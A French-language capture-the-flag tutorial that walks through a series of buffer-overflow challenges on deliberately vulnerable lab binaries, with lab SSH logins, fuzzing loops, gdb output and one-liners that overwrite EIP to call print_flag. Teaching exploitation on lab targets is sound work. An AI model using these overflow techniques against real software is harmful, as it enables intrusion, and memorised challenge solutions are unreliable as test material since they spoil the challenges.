Quand vous saisissez votre nom, votre mail, un message, le programme doit leur réserver une place pour les stocker quelque part en mémoire. Quand vous envoyez une requète HTTP, le serveur doit la stocker, l'analyser, décoder les champs en base64... Dans son programme, John a besoin de saisir une adresse mail. Il va réserver un buffer de 1024 octets. Ca peut sembler généreux... Notre job, c'est de trouver ces fonctions et leur envoyer un mail de 2000 octets... Qui vont venir écraser la mémoire, et les variables qui s'y trouvent. On peut ainsi injecter du code et prendre la main sur le système. Ces vulnerabilités sont caractéristiques des programmes en C... qui reviennent en masse dans les objets connectés. Pour trouver un buffer overflow, on utilise un fuzzer qui injecte des données aléatoires partout ou c'est possible. Pour exploiter un buffer overflow, il faut un minimum de connaissance de la structure en mémoire des programmes, de l'utilisation des adresses et registres. Et savoir ou trouver les bonnes payload pour son système. Linux dispose de protection contre le buffer Overflow. On commence par les désactiver, et on les réactive au fur et à mesure pour monter la difficulté. Nos buffers overflow permettent de toucher du doigt le principe sans mettre les mains dans l'assembleur.
Démarrez votre serveur dédié en cliquant sur [Start server].
Server status : stopped
ssh bender@ctf-buffer_
mdp: leelu
Le programme say_hello vient de remporter le concours de l'IA la plus futée du MIT. Malheureusement ses concepteurs se sont concentrés sur les performances du CPU et un peu négligé la sécurité. Jette un oeil a son source: buffer_01.c
$ ./say_hello bob
Remplace bob par 12345678901234567890. Ca dépasse des 10 caractères alloués au tableau name. Et ça va écraser le tableau intro[10]="Hello"; Si nous continuons, nous pouvons écraser la variable tst, et forcer un appel à print_flag();
ssh leela@ctf-buffer_
mdp: yivo
Les programmeurs ont sorti une version 2 de leur IA, avec une sécurité renforcée. Jette un oeil a son source: buffer_02.c Il faut forcer la valeur de tst à 'Z' pour déclencher un appel à print_flag();
ssh philip@ctf-buffer_
mdp: elzar
Alertés par la communauté, et sous la pression des investisseurs qui détestent le bad nuzz, les programmeurs ont sorti une version 3 de leur IA, toujours plus sécure. Jette un oeil a son source: buffer_03.c Il faut forcer la valeur de tst à 'SecCheck' pour déclencher un appel à print_flag();
ssh fry@ctf-buffer_
mdp: futur
Pour detecter un buffer overflow, nous utilisons un fuzzer: un logiciel qui va générer des données de longueurs fixées avec des patterns. Il existe des fuzzers plus ou moins sophistiqués. Nous allons utiliser un fuzzer basique: un script mixte shell et python qui va générer une chaine de AAAAAAA de longueur variable. Dans le code source, nous voyons que la taille du buffer est de 1000 caractères. Nous allons tester des chaines de A entre 1000 et 1020 caractères.
for i in `seq 1000 1020`; do echo $i; done;
Ce script shell va écrire des valeurs entre 1000 et 1020.
$(python -c "print 'A'*50")
Ce script python va écrire une chaine de 'A' de 50 caractères. En combinant ces deux scripts sur une ligne de commande, nous obtenons :
for i in `seq 1000 1020`; do echo $i; ./say_hello4 $(python -c "print 'A'*$i"); done;
Ce script va écrire la valeur de $i, et générer une chaine de 'A' de longueur $i. $i va varier de 1000 à 1020.
Segmentation fault
Des que nous avons ce message, c'est gagné ! Le flag est la taille de la chaine minimale qui génère un buffer overflow.
ssh fry@ctf-buffer_
mdp: futur
Dans le challenge précédent, nous avons généré un buffer overflow. Dans celui-ci nous allons prendre le control sur l'execution des instructions Les programmes rangent le code à éxécuter dans une partie de la mémoire, et leurs données dans une autre zone. Pour notre plus grand plaisir, le register EIP qui pointe vers la prochaine instruction de code à executer sauve régulièrement sa valeur parmi les données.. Plus précisément, quelques octets après les variables qui contiennent nos données, et que nous pouvons faire déborder... En écrasant les valeurs des données avec un buffer overflow, nous pouvons écraser la valeur d'EIP et forcer l'adresse de la prochaine instruction à executer. Pour un programme en 32 bits, ce qui est le cas de notre binaire, les adressess ont codées sur 4 octets. Nous allons tenter de mettre la valeur 'BBBB' dans EIP. Pour celà, nous allons utiliser une chaine de 'AAAAAAA' suivie de 'BBBB'. Nous allons progressivement augmenter la taille de notre chaine de 'AAAA', jusqu'à ce qu'elle pousse 'BBBB' dans EIP. Quand nous lançons say_hello4 directement, nous ne voyons que le message 'Segmentation fault'. Nous allons le lançer avec gdb, le déboggeur pour connaitre l'adresse qui a généré ce 'Segmentation fault'. En hexadécimal, 'BBBB' s'écrit 0x42424242 Quand nous aurons un 'Segmentation fault' du à l'adresse 0x42424242, nous connaitrons la taille du buffer qui permet de prendre le controle d'EIP.
Program received signal SIGILL, Illegal instruction.
0x08048401 in __do_global_dtors_aux () - On a généré des erreurs mais pas encore touché EIP
Program received signal SIGSEGV, Segmentation fault.
0x08040042 in ?? () - Un 42, la lettre B vient d'apparaitre dans EIP
Program received signal SIGSEGV, Segmentation fault.
0x08004242 in ?? () - Deux 42, arrivent dans EIP, on progresse
Program received signal SIGSEGV, Segmentation fault.
0x00424242 in ?? () - Trois 42, on y est presque
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? () => On y est !!!!!
Program received signal SIGSEGV, Segmentation fault.
0x42424241 in ?? () - On a trop poussé, un A, code 0x41 apparait
Program received signal SIGSEGV, Segmentation fault.
0x42424141 in ?? () - On a trop poussé, deux A, code 0x41 arrivent et poussent les B
Le flag est la taille de la chaine qui permet d'écrire BBBB dans EIP.
for i in `seq 1008 1020`; do echo $i; gdb -batch -ex='run' -args ./say_hello4 $(python -c "print 'A'*$i+'BBBB'"); done;
ssh fry@ctf-buffer_
mdp: futur
Dans le challenge précédent, nous avons redirigé l'execution du programme à l'adresse en BBBB. Cette adresse, qui ne correspond à rien, génère une erreur. Nous allons le rediriger vers une fonction existante du programme : print_flag() objdump -x say_hello4, donne de nombreuses informations sur say_hello4. Il liste entre autre toutes les fonctions et leurs adresses.
objdump -x say_hello4 | grep print_flag
080484f9 g F .text 00000019 print_flag
La première colonne donne l'adresse de la fonction print_flag. Elle est en 0x080484f9. Ce qui se code en python '\xf9\x84\x04\x08' Lançons say_hello4 avec la bonne taille de buffer et en mettant cette adresse à la place de BBBB.
./say_hello4 $(python -c "print 'A'*1012+'\xf9\x84\x04\x08'");
ssh zapp@ctf-buffer_
mdp: kif
Un fuzzers de pattern permet de trouver rapidement l'offset d'EIP. Nous utilisons un fuzzer en python dispo dans github: https://github.com/Svenito/exploit-pattern
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Ce script python va générer une suite de caractères dont chaque séquence de 4 caractères est unique.
Hello Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Program received signal SIGSEGV, Segmentation fault.
0x31684130 in ?? ()
Nous récupérons l'adresse qui a généré l'erreur dans EIP :0x31684130
Pattern 0x31684130 first occurrence at position 212 in pattern.
Le fuzzer nous permet d'en déduire directement l'offset. Le flag est l'offset.